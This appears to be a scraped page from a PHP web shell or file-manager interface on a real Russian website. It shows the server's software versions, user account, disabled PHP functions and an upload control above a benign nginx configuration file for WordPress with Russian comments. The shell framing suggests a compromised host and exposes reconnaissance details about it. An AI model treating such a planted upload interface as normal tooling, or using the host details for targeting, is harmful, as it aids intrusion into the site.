HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux vgpudjuxex 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User: cod67 (1010)
PHP: 8.2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/cod67/data/www/cod67.ru/public_html/nginx.conf
server {
    listen 80;
    listen 443 ssl http2;
    server_name ваш-домен.рф www.ваш-домен.рф;
    
    # SSL настройки (если используете HTTPS)
    ssl_certificate /path/to/certificate.crt;
    ssl_certificate_key /path/to/private.key;
    
    # Перенаправление с www на без www
    if ($host ~* ^www\.(.*)$) {
        return 301 $scheme://$1$request_uri;
    }
    
    # Перенаправление с HTTP на HTTPS (если используете SSL)
    if ($scheme = http) {
        return 301 https://$server_name$request_uri;
    }
    
    # Корневая директория
    root /var/www/your-site;
    index index.php index.html index.htm;
    
    # Обработка статических файлов
    location ~* \.(jpg|jpeg|png|gif|ico|css|js|svg|woff|woff2|ttf|eot)$ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        try_files $uri =404;
    }
    
    # Обработка PHP файлов
    location ~ \.php$ {
        include fastcgi_params;
        fastcgi_pass unix:/var/run/php/php8.4-fpm.sock;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        
        # Важно для WordPress
        fastcgi_param PATH_INFO $fastcgi_path_info;
        fastcgi_param SERVER_NAME $host;
        
        # Безопасность
        fastcgi_param HTTPS on;
        fastcgi_hide_header X-Powered-By;
    }
    
    # Основной location для WordPress
    location / {
        try_files $uri $uri/ /index.php?$args;
    }
    
    # Защита от ботов и сканеров
    location ~ /\. {
        deny all;
        access_log off;
        log_not_found off;
    }
    
    location ~ /(wp-config\.php|readme\.html|license\.txt) {
        deny all;
        access_log off;
        log_not_found off;
    }
}